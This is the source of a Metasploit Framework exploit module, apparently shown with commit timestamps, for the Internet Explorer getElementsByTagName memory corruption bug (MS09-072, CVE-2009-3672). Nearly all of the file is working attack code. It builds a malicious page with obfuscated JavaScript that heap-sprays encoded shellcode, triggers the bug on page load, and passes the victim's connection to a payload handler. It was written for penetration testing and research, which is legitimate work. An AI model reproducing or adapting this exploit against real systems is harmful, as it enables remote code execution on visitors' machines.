2009-11-25 07:25:04 +00:00
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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2009-12-06 05:00:06 +00:00
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Rank = NormalRanking
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2009-11-25 07:25:04 +00:00
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:ua_name => HttpClients::IE,
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:ua_minver => "6.0",
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:ua_maxver => "7.0",
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:javascript => true,
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:os_name => OperatingSystems::WINDOWS,
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:vuln_test => nil, # no way to test without just trying it
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2009-11-25 19:39:15 +00:00
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:rank => LowRanking # exploitable on ie7/vista
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})
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Internet Explorer Style getElementsByTagName Memory Corruption',
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'Description' => %q{
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This module exploits a vulnerability in the getElementsByTagName function
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as implemented within Internet Explorer.
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2009-11-25 07:25:04 +00:00
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'securitylab.ir <K4mr4n_st[at]yahoo.com>',
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'jduck'
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],
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'Version' => '$Revision$',
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'References' =>
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[
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['MSB', 'MS09-072'],
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['CVE', '2009-3672'],
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['OSVDB', '50622'],
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['BID', '37085'],
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['URL', 'http://www.microsoft.com/technet/security/advisory/977981.mspx'],
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['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'HTTP::compression' => 'gzip',
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'HTTP::chunked' => true
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00",
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'Compat' =>
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{
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'ConnectionType' => '-find',
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},
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'StackAdjustment' => -3500
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { }],
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],
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'DisclosureDate' => 'Nov 20 2009',
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'DefaultTarget' => 0))
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end
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def on_request_uri(cli, request)
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# resulting eips:
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# 0x501d6bd8 # windows vista ie7 (mshtml.dll 7.0.6001.18203)
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# 0xc5fe7dc9 # windows xp sp3 ie6 (mshtml.dll 6.0.2900.5848)
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# nul deref! # windows xp sp3 ie7 (mshtml.dll 7.0.5730.13)
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# 0x6e767fae # windows 2k3 sp2 ie6 (mshtml.dll 6.0.3790.4470)
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# 0x6cf941a7 # windows 2k3 sp2 ie7 (mshtml.dll 7.0.6000.16825)
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print_status("Entering heap spray mode for #{cli.peerhost}:#{cli.peerport}")
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var_memory = rand_text_alpha(rand(100) + 1)
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var_boom = rand_text_alpha(rand(100) + 1)
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var_body = rand_text_alpha(rand(100) + 1)
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var_unescape = rand_text_alpha(rand(100) + 1)
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var_shellcode = rand_text_alpha(rand(100) + 1)
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var_spray = rand_text_alpha(rand(100) + 1)
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var_start = rand_text_alpha(rand(100) + 1)
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var_i = rand_text_alpha(rand(100) + 1)
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var_ss = rand_text_alpha(rand(100) + 1)
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var_fb = rand_text_alpha(rand(100) + 1)
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var_bk = rand_text_alpha(rand(100) + 1)
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2009-11-25 19:39:15 +00:00
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html = %Q|<!DOCTYPE>
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<head>
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<script language=javascript>
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function #{var_boom}(){ document.getElementsByTagName('STYLE')[0].outerHTML++; }
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function #{var_body}(){
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var #{var_unescape} = unescape;
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var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
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var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
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var #{var_ss} = 20 + #{var_shellcode}.length;
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while (#{var_spray}.length < #{var_ss}) #{var_spray}+=#{var_spray};
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#{var_fb} = #{var_spray}.substring(0,#{var_ss});
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#{var_bk} = #{var_spray}.substring(0,#{var_spray}.length-#{var_ss});
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while(#{var_bk}.length+#{var_ss} < 0x100000) #{var_bk} = #{var_bk}+#{var_bk}+#{var_fb};
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var #{var_memory} = new Array();
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for (#{var_i}=0;#{var_i}<1285;#{var_i}++) #{var_memory}[#{var_i}]=#{var_bk}+#{var_shellcode};
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#{var_boom}();
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}
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</script>
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<STYLE>* { margin: 0; overflow: scroll }</STYLE>
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<BODY ONLOAD="#{var_body}()">
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</body>
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</html>
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2009-11-25 19:39:15 +00:00
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# Transmit the response to the client
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send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
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# Handle the payload
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handler(cli)
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end
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end
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